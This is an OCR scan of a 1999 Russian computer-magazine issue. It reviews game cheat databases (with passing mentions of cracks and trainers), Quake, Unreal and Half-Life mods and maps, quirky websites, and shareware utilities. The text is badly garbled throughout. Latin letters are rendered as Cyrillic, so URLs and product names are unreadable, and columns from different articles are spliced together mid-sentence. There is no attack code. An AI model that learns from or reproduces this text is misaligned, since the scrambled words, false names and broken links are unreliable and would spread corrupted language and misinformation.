тошная сортировка (от жанров до под- 
жанров и рейтингов)"делают этот про- 
цесс довольно быстрым. К сожалению 
вот только, С-Рау не является самос- 
тоятельной программой и представлена 


Что ж. Печально, Тем более что это дей- 
ствительно неплохая штука. Помимо 
обычных функций сохранить/распеча- 
тать, в полной версии ты сможешь пос- 
мотреть картинку и прослушать" мидюш- 
ку из выбранной игры, установить об- 
новление. Интерфейс неплохой, прав- 
да, слишком темный, зато подвергается 
настройкам, и есть довольно удобная 
система поиска. я 

Достоинства: В полной версии — 
картинки и п"@ к игре. ‹ 

Недостатки: Стоимость, темный ин- 
терфейс. # 

Резюме: Если у тебя есть лишние 
деньги и кредитка, то можешь попробо- 
вать, но, в принципе, большого смысла 
нет ввиду наЛиния альтернатив. 


ссылки на патчи к играм, и контактную 
информацию всяческих издателей и 
разработчиков. 
стоинства: Высокая инфо матив- 
ность, удобный интерфейс, свобода вы- 
бора. К 
Недостатки: Большой объем. 
Резюме: Идеальный вариант для 
тех, у кого есть терпение и халявный 
Интернет. 


СатеЕ Аю’ 98 (2,5 мь) 


уму. Вхеё/апа.п//-зуеп/датеса!а. Вт! 

Сате А!’ 98 выделяется среди ос- 
тальных только соотношением раз- 
ПВР кОРУЩИЯ: При довольно боль- 


й в виде базы данных ’для МО Ассез$, 
ОУ ИН Нарег (7100 МЬ) батеАю 98 стань ъ соответственно, и интерфейс у нее чис- 
Вир://ЧШВ.пе! т. то виндовозный. Продукт обновляется 


ежемесячно и большими темпами, при- 
чем ты можешь скачать как полную в! 
сию, так и апдейт. 

Достоинства: Высокая информатив- 
ность, большие обновления. 

Недостатки: Программа представ- 
лена в виде базы данных под Ас- 
сезз 95/97. 

Резюме: Идеальное соотношение 


ОЁН — самая известная и самая боль- 
шая база данных по читам. В ней ты мо- 
жешь найти коды почти к любой игре, 
начиная с Реепдег оЁ №е Сго\уп и за- 
канчивая последними новинками игро- 
вого мира. В на помимо читов, ты об- 


АМ Та фри ры 2 


ФФ: Хх ы 
и т шом размере он практически не несет. размера и информативности. 


р 

ны 

& ый 
а 


никакой информации — читов мало, а 
солюшены и факи, присутствующие в 
СА, очень коротки, да и самих их всего 
штук 20. Интерфейс убогий, система 
поиска отсутствует, а единственное, 
что ты можешь сделать с читом — рас- 
печатать его. 

Достоинства: Не найдено. 

Недостатки: Малая информатив- Г т Па 9 А! 
ность, неудобный интерфейс. о але Вой 

Резюме: Самое плохое соотноше- 
ние размера и информации. 


С ото 


Х-Бгат (552 кь) 
ииии.тедадатез.сот 

Х-Бгат выходит из под крыла святая свя- 
тых всех читеров — сайта МедаСатез 
(не путать с одноименным отечествен- 


п она чья оо чету бло Че вы водой ерат В им 
ыы ве проч о а ва уолжу аки 2 обе ва 
пни аа паев 


ЕЯ " 
наружишь солюшены, хинты, факи и 


кряки — отсюда и громадные размеры 
комплекта... хотя его размер, на самом 
деле, зависит только от твоего желания. 
Видишь ли, ОЕН — это всего‘лишь прог- 
рамма, а какую базу ты к ней прице- 
пишь — уже твое дело. Самому — 
решать, нужны ли тебе кряки, 
трейнеры и читы от консолей и. 
нужны ли тебе читы к играм дояен- 
тиумовой эры. Интерфейс у он. 
удобен, информативен, подвер- ружать различные базы данных, да 
гается всяческим настройкам от Неекежи “ о и сама прога под старый-добрый 
цвета и размера букв до языка (не : я ее 2О5 с соответствующим интер- 
беспокойся, русского там нет) и =“ | фейсом. 

не содержит ничего лишнего. Есть Достоинства: Малый размер. 
удобный поиск, возможность ус- Недостатки: Малая информа- 
тановки новых модулей, всегда 5 ТИВНОСТЬ. 

под рукой шестнадцатиричный Резюме: На любителя. 
калькулятор и редактор реестра 
(то для того, чтобы ты мог крякать 
свой зауе, посматривая в инструк- 
цию}. В РЁН ты также найдешь 


6-Р\ау Семь _ 
„ВИр://ар!ау4итр.ги 
`Аэто уже наше род ой в в смысле — оте- 
чественное, сделанное неким Алексеем 
Низамовым. С-Р!ау содержит информа- 
_ цию о играх'с 1997 года по наши дни, 


ным журналом}, где давно обоснова- 
лись различные кряки, хаки, трей- 
неры к играм. К сожалению, Х- 
] Бат не является чем-то особен- 
| ным — кучка читов и ничего более, 
разве вот только возможность заг- 


м 
Реаптафсв 


Ответственный мясник 


ВЕВЕТО (БЕРето{А@хакер.ги) 


Модный шкап 

ии ипгеа!2еа.сот/зегрепипе/таех. Вт! 

Ах, как бывает приятно пострелять поутру!.. Крики, звон гильз... Семь реалистич- 
ных видов оружия — не забудем перезаряжаться! — в одном маленьком недоде- 
ланном анриольном моде. Называется это дело Зегрепйпе, только не спрашивай, 
почему. Мод дальний, снайперский, никак не мясной, и тесный уровень под него 
не покатит... Решай, понравится ли тебе такое. 

ВНру//аНееГаддед.сот 

Реалистичность, этот бич современности... Замечен в пределах видимости дол- 
гожданный экшен На! -Ше. Но бета. Крепитесь, други мои, час истины близок(.. 
По крайней мере, ата Чатаде уже имеется... 

ВНру//аспоплеейаддед.сот 

Команда АсНоп Оуаке 2 тоже не зевает, мод еще больше помоднел, обзавелся 
бьющимся стеклом и новым номером версии — 1.52. Давно бы так... Мэп-мейке- 
ры могут начинать переделывать свои карты. 

ими. ропе!диаке.сот/рагохузт 

А этот — для первоквака и Фиаке УМой&. Ломающиеся объекты, станции для по- 
чинки брони [Этим напоминает Мага!оп), УЗЫе Уеаропз. Есть... кхм... боты (спа- 
сибо СоНее за его Тутора!). Новое оружие (довольно интересное). Костяная пи- 
ла, кстати, под @\\ не работает. Фигово. Утешимся тем, что исходники всего это- 
го лежат рядом. 

умиирапе!диаке.сот/Ко!5 

(Серверный мод с рейтинговой системой и любопытным механизмом, который 
раздает всякие полезности крутым игроком. Хочется заиметь что-нибудь эдакое, 
да? Причем! Весь хлам, который вы собираете за время игры, переходит в вашу 
постоянную собственность! Ах да, совершенно забыл — читеров там убивают то- 
же навсегда, 

умииирапета!Ие.сот/зошгеарег/тавх. Вт! 

Зои Веарег — близкое, правда, не столь изящно выполненное, халфлайфовое 
подобие Зои] Нагуез!, Собравший некоторое количество душ получает благос- 
ловение нечистого. Только не тот кайф в этом... Но, несомненно, приятно и глюч- 
но до фиолетовости. 


Свапка флагов 

уу ипгеаМу. ого/сае/таех. т 

Немедленно в И-нет и бегом сюда! Здесь нетерпеливо валяется оригинальней- 
ший тимплейный мод к Ипгеа|. Только послушай: трупы можно подбирать и тас- 
кать на горбу в качестве брони! Эта идея уже сама по себе блестяща, а ты пос- 
мотри, что там за оружие. Как сделано! Какие у каждого ствола фичи!.. Вдоба- 
вок, для любого существует свое... скажем так, антиоружие. Оригиналов, вклю- 
чавших в свои моды огнемет, по Сети — немерено, но кто из них догадался при- 
делать огнетушитель?! А, например, как насчет бинокля? Текущий номер вер- 
сии — 1.4, и разработка продолжается. Пока сделаны два класса из 9-1 0 плани- 
руемых. Все. Разрешаю скачивать. 

ум рГапетаИе.сот/зКупе/раде. Вт 

На!Н-Ше. Две команды, одна из них хорошенько укрепилась. Куча оружия. Что 
еще остается делать? Да сущие пустяки — проникнуть на обороняемый объект, 


т 
# 


Есть кто живой в помещениий! (ке) 


Ока Ататсп 


беспринципно запустить вирус на три компутер- 
ных консоли и активизировать его. Вот так дей- 
ствуют настоящие мальчики. Да нет, это интерес- 
но, по-хакерски!.. 

ими. диаКеез. сот/иплемагз 

Доступна третья бета Руиге УМагз. Машины про- 
тив людей, быстрое мясо против убийственно тя- 
желых шестеренок. Все нормально, только мо- 
дельки уж больно паршивые. 

мии саргед.сот/пр2 

Обычнейший ТЕ для 02. В наличии 9 классов и 
возможность создать свой собственный. Немного 
магии, видоизмененные пушки, да еще, пожалуй, 
экспириенс-система в зачаточном состоянии (для 
выполнения некоторых действий требуется энное 
число фрагов). Больше ничем не выделяется. 

А вот немножко модов к Трайбесам, чтобы нико- 
му не было обидно. Правда, дохлые они все ка- 
кие-то... 

уим/вотезеаа.сот/зреса! тод/ез/Вюод$ди 
а@.тр 

Вооа5ацаа МОР — изменены выстрелы оружия. 
ими Вотезеаа.сот/5реса! тоа/Иез/ОагКАуеп 
дег2р 

ВагкАуепдег МОР — новое оружие. 
рнр://Бизегпаспе/%7Етрегаюг/ тез. Вт! 
Риутрэег то4 привносит в игру легкие измене- 
ния, например, увеличенный радиус разрыва гра- 
наты, скейтбоард для хевика и медиума и т.п... 


Угоп дпя одчуночеЕК 


ими, ропеюиаке.сот/пке 

Игрушечка из серии «Спасем любимую Америку 
от». Времена холодной войны, радио передает 
тихую музыку и спокойный голос диктора, напо- 
минающего, что атомные бомбы могут упасть в 
любую минуту. Вместо этого с неба сыплются... 
Ну да, строггосы. Процесс отправки их обратно 
довольно приятен. Двери, правда, немножко нер- 
вируют. Очень чешется раз и навсегда повыши- 
бать придурошные штуки, свалить в кучу и спа- 
лить. Огромнейшие пространства этого мода зас- 
тавят с тоской вспомнить благословенные време- 
на, когда ваш сотый пенек впервые давился кра- 
сотами Анрила... Очень тяжкая штука. 
йр://йр.сагот.сот/риб/ 

р/опевиаке/ 

р/апеюпгеа/па/сйу/ИВауеп.р 
там_же/ИШвауеп2.=р 

там_же/ИВауеп3.2р 

Знаменитая серия сингл-карт ШВауеп пополни- 
лась третьей частью, действие которой происхо- 
дит между первыми двумя. Серия переносит нас в 


Серые сибирские небеса... 


Хакер 8/ ‘99 ВЕр.//шшш.хаКЕр.ги 


Нижний из трех уровней карты. (ОМОузеписк) 


стильные подворотни средневекового города. В 
этом есть что-то от ТМе! — тоже придется сникать- 
ся и всячески пресмыкаться... Правда, хай-тек ан- 
риловое оружие выламывается из этого стиля. 
ими. рапейа!!е.сот/геаттз/абоит. Вт! 

Для тех, кто любит всего побогаче, существует 
мод Ргеагтз. 28 видов реалистичного оружия. 10 
сингл-миссий. Но он тоже недоработан — жаль, 
однако. 


Карточный стоп 
йр://Яр.сагот.сот/риб/рапещиаке/ 
р/апеюлигеа/пайсйу/атсизетиск.ар 

Очень чисто и уверенно сделанная ОМ-карта. 
Несмотря на название. 
йр://Яр.сагот.сот/риб/р!апещиаке/ 
рюпепгеа/пайсйу/атгои.р 

Роуз навевает неистребимое ощущение прохла- 
ды. В этих просторных коридорах с элегантнейши- 
ми обводами стен и потолка, кажется, разгули- 
вают сквозняки. Это больше, чем просто карта. 
Это искусство. 
йр://Яр.сагот.сот/риб/рапеиакКе/ 
р/апеипгеа/пайсйу/ЧтяБепа. р 

Небольшой ОМ-комплекс, где есть все необходи- 
мое для хорошей резни, но нет ни единого шанса 
замышиться и перекемперить. 
ВИр://рагабтезлетаизюоп.сот 

Карта для эстетов. Никаких разноцветных изли- 
шеств, никаких ВЕС, шотганов и тасптедуп’ов. 
(Строгий стиль. Текстуры наложены очень тща- 
тельно. Дуэль на этой карте напоминает прятки, а 
игра на четверых и более превращается в бойню. 
На всякий случай пришпилен роут для Егазег'а. 
ум. рапеюиаке.сот/а/а!азрезМеат/ 
а2тарз/Кап_2.2р 

Индустриальная карта для маленьких игр. Хоро- 
ший баланс, приятная архитектура и маленький 
симпатичный глюк с одним из телепортеров... 
мии. р[апеюиаке.сот/а/Ч!азр?сс/нте!ез5.р 
ум. рюпевиаке.сот/а|/ а“! а5р?сс/ 

Яте[ез$ обор 

Тте!ез$ — немного неровная карта к @1. Дей- 
ствие слишком сосредоточено в центральных ко- 
ридорах и дуэль неинтересна. Второй линк — 
роут для опусгоп-бота. 

ум. р[апеюиаКе.сот// а! озрертди/рЗа.=р 

А вот эта (ВотпаНоп) сделана довольно криво, и 
небо выглядит, прямо скажем, страшненько, но 
сама игра протекает занятно, Особенно стадная, 
А вот при дуэли оружие и бонусы легко делятся 
примерно пополам, все чересчур уравновеши- 
вается и интерес пропадает. 


ПЕ аПиаь 
Нет, здесь не покемперишь. (Ко\9з] 


ими. аг{едер!ауегз. сот/агзедер[ауегз/тар5/ 
тар_раск юп.ар 

ими. тагзедер!уегс.сот/!агзедер!ауег;/тарз/ 
тар_раск_аатт.2р 

Не утерпел. Это — комплект мультиплеерных карт 
для Заг\еде (не Тез]. 


Подкроватное 

ум. рапеиаКе.сот/Лехтех 

Тех-Мех, утилита для редактирования текстур к 
1, только сейчас начинает выбираться из бета- 
стадии. Авторы клянутся, что следующий релиз 
будет финальным. Поддерживаются: \\а42, \уааЗ3, 
уа|, Бзр, рсх, Тагда, Бтр. То есть: @1, 2, Н!, 
Вакаюпа. Сделано старательно, а это подку- 
пает. 

уимлееКаддед сот/веюа/итЫоуу. Вт! 
ЛитБо!версии 0.1 наконец-то вышел. Впрочем, 
особенно торопиться скачивать не стоит — бот 
абсолютно не готов. Вниманию экспериментато- 
ров; укатан зверь сугубо под НЁ версии 1.0.1.3. 
(гам пофиксена проблема поворота модели). 
Вир;/Лихлеегаддеа.сот/ 

Бер Йепате=випс! 105, рёай=веКаддес/Ъе/ 
Напомню адрес. На днях создатели ССЕ решили, 
что юзать батнички для запуска их бота — это 
дрянной скус и вообще некузяво. Теперь ССЕбу- 
дут входить в игру только через этот ланчер... 
ииуигодегисо.сот 

Дружно не забываем о Кодег \\1со. Кто нев 

се — это говорилка голосом при игре по сети. 
Вышла новая версия, с уменьшенными до прием- 
лемого уровня тормозами. Регистрация бесплат- 
ная. Похоже, надо пробовать. 


Такие пироги. Риспаун непосредственно в небо 
(Ротпаноп) 


Ока{Ата*сВ 


А!М/ау$.сот 


ВИр://умима№ауз.сот 


\Ие|соте То А! 


АН\М/ауз.сот маза 1 1ед 
оп спЬсаза, сот 
оп 23 Маг 99 


АМЬ ВЕЗТ У/ау {Иез 


СИсК оп [ат] аасег4 


Матто{В Ноте Раде 
Вир:/ Дмуими сваЁги/-таттииз 


Это тебе не голубь. 


ния. Я лично предлагаю мамонтов! 


мерли, к чему, кстати, изрядно при- 
ложили руку наши первобытные 
предки, а во-вторых, в истории хо- 
ботных тоже полно классных сло- 
вечек типа: мастодонт, стегодон, 
дейнотериум... Решено! Вот мое 
новое стильное увлечение! Так что 
не огрызайся, если вдруг я скажу, 
что ты — «мамонт степной»! Пойми, 
это просто дань уважения, пос- 
кольку степной мамонт имел высо- 
ту в холке метров пять и весил тонн 
десять! Хорошо? © 


что? Во-первых, они тоже давно вы- 


Ты не поверишь, но еще встречаются среди наста- 
кие товарищи, которые нам совсем не товарищи! 
Это я про тех, кто относится к своему компу, как к 
какой-то стиральной машине: надо — включил, по- 
работал, не надо — выключил. Без лишних санти- 
ментов, так сказать. Никаких фишичек, никакой 
погони за лишними рэ!!! Таких людей еще очень 
легко можно узнать по мелодии, которая играет 
при запуске их У/Утдо\з. Слышишь, как из динами- 
ков льется травмирующий душу стандартный «Звук 
МегозоН»? Все! Руку владельцу этого ПК не пода- 
вай и с интересными девчонками не знакомь, пото- 
му как не достоин он этого. Другое дело, если колон- 
ки вдруг исторгают из себя «Звук Му» очень бешеной коровы (ВНр://\/\ми\.деосШез.сот 
/Но!умоо9/1 91/4847 /со\ми.Вт], напрочь сшибая тебя со стула. Тут уж не сомневайся, это «свой в 
доску» парень, наш брат-фанатик компьютеров, вечеринок и нездорового образа жизни... 


И\Мау$ 


СИск НЕРЕ 40 ШК 10 из. Те ВУбСЕЗТ, РАЗТЕ$Т 


5Не оп 1пе пе! 


Руск 4"от сафедому оп 1ве 16 Я 1ю еп 1ю а мау 


Уои сап пом зеп4 а Чета а ИпК 40 а ау Че. ив 


40 вабв мау Че 


К черту динозавров, надоели они мне! Ну, правда, сколько 
можно? Стегозавры, диплодоки, цератопсы какие-то! Дети 
малые носятся по дворам, страшно топая и крича: «Я Ти- 
рекс, я тирекс». А те, что постарше, теребят мамину полу и 
спрашивают: «А сейчас птички-птеродактили водятся®» 
Птички-птеродактили!! Это ж надо! Да такая «птичка» свер- 
ху «капнет», никакого платочка не хватит чтобы утереться! 


И -обще! Достает меня это пошлое преклонение перед За- 
п. ом. Юрских парков они насмотрелись! «Дайте мне Кин- 
дер-сюрприз, но обязательно с динозавриком!» Противно... 
Мои любимые бегемотики совсем уже не котируются! 

Нет, все! Давай забудем про этих ящериц-переростков и вы- 
берем более полезных зверюг в качестве объектов обожа- 


А 


адин 
кооматика 
Анатомия и 
морфология 
Биология 
Известнейшие находхи 
Исчезновение 
`Мамонтовая фиуна 


Мифы п заблуждения 
Гибанотека 


ообщемие можно 
оставить ЗДЕСЬ 


и 


Адаму. 


Знопойоа — Сначала хорошую, — попро- 


сил Адам. 
Если зы зайинути сода побких порносайтов по бмочивому слову — Я дал тебе два органа. Один из 
‘вх’ вы попапи не ет ив мени, сопотуом пам задержаться, 3 
пигиозный сайт, Здесь вы упидите ие допы, а рециональ 2 
на Прочитайте котя бы ради интереса, И спокойно подумайтя.. них называется «мозг», он сде 


Ну а ослы вы ивы вдиноныштенник - том Боле. 


А ты со своим компьютером пройдешь тест 
на принадлежность к элите? Нет ещей!! Бе- 
гом на а ауз.сот, возьми поставь пару- 
тройку прикольных звуков на важные собы- 
тия в жизни твоей машины. Запомни — па- 
ру-тройку! Иначе ты сделаешь из компьюте- 
ра навороченную шарманку с мышкой 
вместо ручки... Вот только медяков в твою 
шляпу за это никто не набросает. 


оки|5 Опт КЕЯ 
|пеегпа#опа! пс. 

Внр:/ Ими. киЙзипИтйеа.сот/ 
Хочешь приобрести краси- 
вый, а главное, оригиналь- 
ный подарок? Тогда ступай 
на сайт компании 5Ки$ Ип- 
|пНед и выбери себе че- 
реп по душе! В пределах 
500 баксов здесь всегда 
можно найти вполне 
приличный череп кроко- 
дила, за 250 — гориллы- 
самца, ну а если с на- 
личностью у тебя «не ах- 
ти», то даже купленный 
за полтинник череп со- 
баки поможет тебе вы- 
делиться из безликой 
массы скучных гостей. 
Как обычно, большим 
интересом пользуются 
полностью укомплекто- 
ванные человеческие 
ске- 


о сомы 


ЪУр 


Добро пожаловать на Маттой Ноте Раз\ 


11.06.99 
Вот и лето пришло, Порь в отауск Заходите позже Желаю хорошо отдех 


9546,99 
Нувот, тезнеы 1 2 : . в Роттерда] 
частичяо готовы. Работа продолжается Заходите про сейм 


каз на него ни поступил. © 
260599 
И последних новостей сообщу, что в Роттердаме закончилась 

| Она проходила 16-20 мая. Уже м 

тезисы и готовится выйти сборних статей В ближайшее иремя тезисы ст 
`достыувны Вам на нашем сайте: 


Пишите сюда 


АпЯеЕхча! 5{гопаво!4 
Бнр://мипаотз.зйеК.пе//-соте/ 
— У меня есть для тебя хорошая и 


абзехна| плохая новости, — сказал бог 


лает тебя умным, позволит созда- 
вать новые вещи, познавать мир 
и вести интеллектуальные разго- 
002273 воры. Второй называется «пе- 
нис». Он позволит тебе подарить 
Еве детей, и ваши потомки засе- 
лят всю планету. в 
— Спасибо, и впрямь замечатель- 
ная новость! А какая же плохая? 
— Видишь ли, два этих органа не 
могут работать одновременно... 
Этот забавный анекдот был извле- 
чен мной из раздела юмора на 
официальном сайте фидошной кон- 
ферёнции КУ.АМИЬЕХ. С остальны- 
ми материалами этого сайта, таки- 
ми как «Любовь — форма наркома- 
нии», «Физиологическая 
воздержания» или, например, «О 
физическом вреде секса», предос- 
тавляю тебе возможность ознако- 
миться самостоятельно... Да что там 
материалы! Ты можешь принять участие в 
разработке эмблемы для Международ- 
ного Антисексуального Движения! Я бы 
лично порекомендовал изобразить на 
ней тот самый, ставший вдруг ненужным, 
пенис, но только завязанный узлом. А 
что? Очень символично! © 


Р.Май успг сопуцери ап диозНопя 19: бо 


фе оз 151 арфа ом Мендау, у 5.1999. 


леты, но, так как за каждый из них требуется выло- 
жить кругленькую сумму в размере 3000 долларов 
США, то далеко не каждый может позволить себе 
такой «подарок». Хотя, если ты хочешь, чтобы лю- 
ди тебя долго вспоминали (разными словами), тог- 
да нет смысла экономить. Тем более, что ты полу- 
чишь действительно качественный материал, нату- 
ральная кость, никакой пластмассы. Чистенький, 
‘свеженький! Еще недавно тут бегал... пока твой за- 


польза 


в, СЫСК НЕИЕ 
) и 1800-6595 КИЛЛ, 
То сомаси $ Гота оц 5142 о Мом Алена уеляе гай 1-405-632-4200 


=> 


Расширяющиеся Законы Мела (2000) 


ВНр:/ 5. иат.ги/Витог/тиг- 


"Папу сап 20 \угопо, И %Ш" рубит 
1200 Мирву‹ Газ | о зйде Мишрнухя [ам 


Если ты не знал, что «луч- 
шее средство от перхоти 
— ГИЛЬОТИНА», «БОЛЬ- 

Ко 32 ШИНСТВО — это тот са- 
Расширяющиеся Законы Мерфи (2000) мый случай, когда все ду- 


Ком торе скс ольжтнивото алина м телу оон ты нсе раки на твоей стороне», 


а «МЕДИЦИНА, на са- 


0211502] 22 02| 01.0317 0312703103 04} 10.04 18.04} 


: т мом деле, — искусство 
Том 1 ибыно ть еды обманывать пациента на 


Часть 9, Алкогольные Закомы Мэрфи (20.07) Суперобновление!!| #959 
1 года 24088 период, пока природа 


бщие Законы Мэрфи - 1998 (фольклор) 21 1298 
са трек ВЕТ сама справится с болез- 
ОЕ нью», то ты должен посе- 
тить этот сайт. Там тебе откроются простые истины, вроде: «Секс за- 
нимает минимум времени и приносит большую часть хлопот», «Под- 
дайся соблазну. А то он может не повториться» или же «Женись, нес- 
мотря ни на что. Если попадется хорошая жена, будешь исключе- 
нием, а если плохая — станешь философом». И там же ты найдешь 
законы, по которым мы все действительно живем, законы Мэрфи. 
Главный из которых гласит, что если какая-нибудь неприятность мо- 
жет произойти, она обязательно произойдет. И если есть на свете 
закон, который никогда не нарушался, то это именно закон Мэрфи! 


Сайт предназначен для просмотр: 
очительно со 

юсетителими 

совершеннолет 


Ва+ \\ог!4 бапсфцагу апа Едиуса# опа! СЕП{ЕГ 
ууу БамуойА.ога 
Когда Бэтман выбирал себе подходящее для супергероя имя, он не 
знал, что так облажается! Он почему-то подумал, что летучая мышь 
— это круто, а когда знающие люди объяснили ему, что это не так, 
было поздно — он уже пришил остренькие ушки к своей резиновой 
маске. Так что сейчас весь его авторитет держится на людском неве- 
жестве, исключительно до тех пор, пока широкие массы зрителей не 
узнают, что летучая мышь это не злобная кровососущая крыса, а ма- 
ленький безобидный 
зверек, большинство 
= азновидностей ко- 
А ЗаЕе Ноше Рог ея питаются ис- 
Фиг Ригу Ее т 

ключительно жучка- 


МОУ СЕ ВАТГУОВА | АНЕВЕ 5 ВАТУУОВЦУ 


635 Миа в ап 4пдоос; патисы ВаБах запсёшагу ог попгееазаые Баз, иски ми-паучками, а ос- 
а о Не о оо бо о 160 Ба оривавтиия оуы 10 [6] 

и: 3 ая оу 
мог зрецез Кот аглопф пе +01 Паув ГошпЯ регтатеги хоблдо 21 Вэ он. тальны е, воо ще, 
ват Миа 5 а5о а тебзынацол сагкет, мого Рлао4з о В : 
оратором Иеакле взол увы, я | всему на свете пред- 


Тпозе Ват саппот Ба гываза эле ргомфед Мбелуипа: 


УЕ | почитают пыльцу и нек- 


Ва ЕВо{$ пс. 

вир:/ ум БаШеБов.сот/ 

Там, где могучие океанские волны нежно ласкают теплый пе- 
сок Калифорнийского побережья, там, где прекрасные де- 
вушки в разноцветных бикини играют в пляжный волейбол и 
задорно смеются, и там, где, жужжа шестеренками, механи- 
ческие монстры мето- 

дично превращают 

друг друга в металло- 

лом, именно там, му- 

жики, я хотел бы бро- 

сить в шезлонг свои 

старые кости... 

Ты хочешь что-то у ме- 

ня спросить? Про теп- 

лый песок и прекрас- 

ных девушек? Нет? 

Про механических 

монстров? А! Еще один отставший от жизни чудак! Ладно, слу- 
шай сюда. Есть такая «спортивная» организация — 
ВаНеВо!5 (т) [пс., которая занимается тем, что проводит бои 

между управляемыми по радио машинами, в смысле, робота- 

ми. Любой желающий может создать своего маленького (или 
не такого уж и маленького, так как вес робота из категории 
СдаБо!5 может достигать 136 кг) трахнутого Терминатора и 
управляя им, попытаться приготовить из машин других учс 
тников консервы «Завтрак туриста» по-американски. Бои 
проводятся как между двумя, так и между десятью роботами 
сразу, прямо на одном из Калифорнийских пляжей... Заинте- 
ресовался? Обратись на сайт ВаН!еВо!з (ит) пс! Ребята зара- 
батывают на этом деле деньги, так что на сайте, помимо тех- 
нических спецификаций, есть фрагменты видеозаписей, фо- 
тографии и... касса предварительной продажи билетов! Ко- 
роче, копи деньги, пакуй чемоданы и поезжа-а-а-й! © 


Мой Гопос 
ИНр://муиуи. экКег.пеЁги/ 
Отвратительно! 


Мо собственная ” ДОН [Об 


пана во мне самом, `Добавинь в @збранно‚” Замаикы вгб-маниера “Обратная гвязь 


так близко, что ес- 

ли постучать по лбу |2 ЕЕ о оНиНЫЙ 

кулаком, она это | : 

услышит. Услышит и 

перевернется на 
другой бок. Разве это “== | Е чи преоииеттисчииесит 
справедливо? Разве | 2 Е 
справедливо то, что } 
человек использует 
только малую часть возможностей своего головного мозга, что 
его собственный организм обладает огромными внутренними 
резервами, которые не находят выхода, а скрытые таланты так 
и остаются скрытыми, пока ни приходит время делать вскрытие, 
после которого становится поздно что-либо менять. Эх, если 
бы найти подходящий инструмент для коррекции собственной 
природы, то я бы развернулся. Но смотрите! На этом сайте ес- 
ть фраза, которая гласит: «Здесь и сейчас вы можете узнать, 
обучиться новейшему методу наведения транса, очень эффек- 
тивной психотехнологии...». Может быть, это как раз то, что 
мне надо? Может быть, хоть на этот раз не обманут? Или как 

обычно — мечтать не вредно® Посмотрим. 


(С) Зецреу Ралушьу, Зайсее Сэ. 1997 


о т ое бей Ю | тар! Когда же это произойдет, Бэтману придет конец, и, хотя три вида летучих мышей дей- 


‘спала! апа Алтай Рау 


» БОСЕ дааа 279 ое ФиЩАЯ 194С Бер ко 


ствительно являются вампирами, это ему уже не поможет. Я видел фотографии. Летучая 


Рочаха ЧсоаЧеля, На $ & 
РИ мышь, пьющая кровь у маленькои бедной птички... На мордочке зверька явственно чита- 


ТАБ Зе мах Фезкулед Бу хаделкед меб раде зат дасоп зона, о эво 


Порри то а а ла Бо оне Сол ло Руа по ВЕ 4442) лось отвращение к собственному образу жизни! 


САЗУКАЦЕНИНМУЛЫЯ ВЕАСТЕ ЕОЦНО А ВАТ ВАТНИКЗ ВАТ ЗАНСТЫАЛУ | СОМТАСТ, 


шаровары 


аныасВ Вива 


ОТРЕТСВ Вгеак 


ЗётесВ Вгеак"* Рго\у 5.6 


авивоа РКО 38 УМпаомз 95/98 
роки Зе: 4328 кб 
ее Звагемоге 
ВИр:/Дмууи раго!ес.сот 


Смотри, не врасти в 
кресло, дружище! Разве 
мама тебя не учила не 
горбиться, сидеть 
прямо и, рабо- 
тая за компьюте- 
ром, делать пере- 
| рывы каждые полчаса, чтобы глазки отдохнули и «кос- 

}} точки размялись»? А ты? Я так и думал! Ладно, отныне 

| поручи заботу о своем драгоценном организме ком- 

пьютеру, как давно сделали люди, живущие в странах, 
слегка «повернутых» на здоровом образе жизни. Вот, к 
примеру, программе Э!ге!сВ Вгеак Рго можно смело по- 
ручить это важное дело. Устанавливаешь ее, задаешь 

| временные интервалы и величину физической нагрузки 

(кол-во упражнений) и... все! Отныне, по истечении п- 
ого количества времени, на твоем экране будет появ- 
пяться окошечко, предлагающее тебе отдохнуть и рас- 

\  абиться, а еще лучше нагрузить свои мышцы, пока они 
еще окончательно не атрофировались, парой-тройкой упраж- 
нений. Каких именно упражнений, будет наглядно продемон- 
стрировано анимированными персонажами прямо в этом же 
окне. Так что работай за компом, здоровей и помни, кто тебя 


Е 343 Заз ] Его Наив 
ЕЙ Змикп Веезк | Орзапе | Неф << Ро ЗУЕВ 


СОМ/ОМ е1-Аиаю у 4.6 
\У/таом 95/98 /МТ 

Зе: 7350 кб 

ЗВаге\уаге 

Вир:/ мумии. сомоп.сот/Епа//епоеаисГод.В1т 

Будет желание поюзать что-нибудь навороченное и монстрообраз- 
ное — смело лезь в Сеть за программой СО\УУОМ ]е!-Аидто, не 
ошибешься! И чего только ни понапихали в нее создатели. Смотри 
сам: цифровой процессор обработки звука с 20 полосным графи- 
ческим эквалайзером и блоком специальных эффектов, микшерный 
пульт, проигрыватель Аудио СР (который мо- 
жет таскать описания компакт-дисков из 
|п1егпе!), проигрыватель аудиофайлов (пони- 
мает форматы МРЕС (МР3З, МР2, МР1), Веа! 
Ад С2 (ВА, КМ, ВАМ), $ИМ Аша (АЦ, 

| $№М0), МАС Аза (А!Е), и У/пдомз Аифюо 

й (У/АУ), проигрыватель М! файлов (а также 
| файлов с расширениями КАК, МОР, $3М, 

й ХМ, МТМ, и П), и файлов видео (обрабаты- 
ваются АМ, ОТМ/, ВМ, МО\У и МРС записи). 
Круто, верно?! Учти еще, что во всех этих 
блоках реализованы всевозможные режимы 
воспроизведения. И, конечно же, интерфейс 
программы можно менять как твоей душе 
угодно, а дополнительными мульками, типа 
конвертации треков Аудио-СР в форматы \МА\ и РА, или прослуши- 
вания |пегпе! радиостанций, забавляться часами. 

Ну а самое главное — кнопочек, ползунков и индикаторов в 
СОМ/ОМ /]е!-АудГто так много, что даже самый придирчивый «естес- 


всему этому научил! © 


СугСопуНЁр у 1.0 
\У/Мтпаом 95/98 /МТ 

Зе: 113 кб 

Ргее\уаге 
Вир://муии.сеа.ги/—зегр/Бумесй/ 
Хочешь, чтобы твой броузер получал свои 
веб-странички постоянно в одной и той же 
кодировке? Тогда слушай меня внимательно, 
потому что я 
дважды повто- 
рять не стану! 
Дело в том, 
что недавно 
появилась 
программа 
СугСопуНнр, 
которая спе- 

у циально созда- 
_ | валась для выполнения этой задачи. Но учти, 
что для ее работы требуется перекодиров- 
щик СугСопу, который ты должен будешь 
скачать дополнительно по тому же адресу. 
Механизм работы этой «сладкой парочки» 
описывается на сайте создателей так: все 
запросы от броузера идут через 
СугСопуННр, он отделяет тексты от всех 
двоичных файлов и для текстов запускает пе- 
рекодировщик СугСопу, который их анализи- 
рует и, если необходимо, осуществляет пе- 
рекодировку. Понятно? Ничего сложного, 
этакий интеллектуальный перекодирующий 
прокси-сервер, который легко можно подру- 
жить слюбым броузером. ‘ 

Разумеется, я тут же подружил его со своей 
Оперой, в которой процесс смены кодиров- 
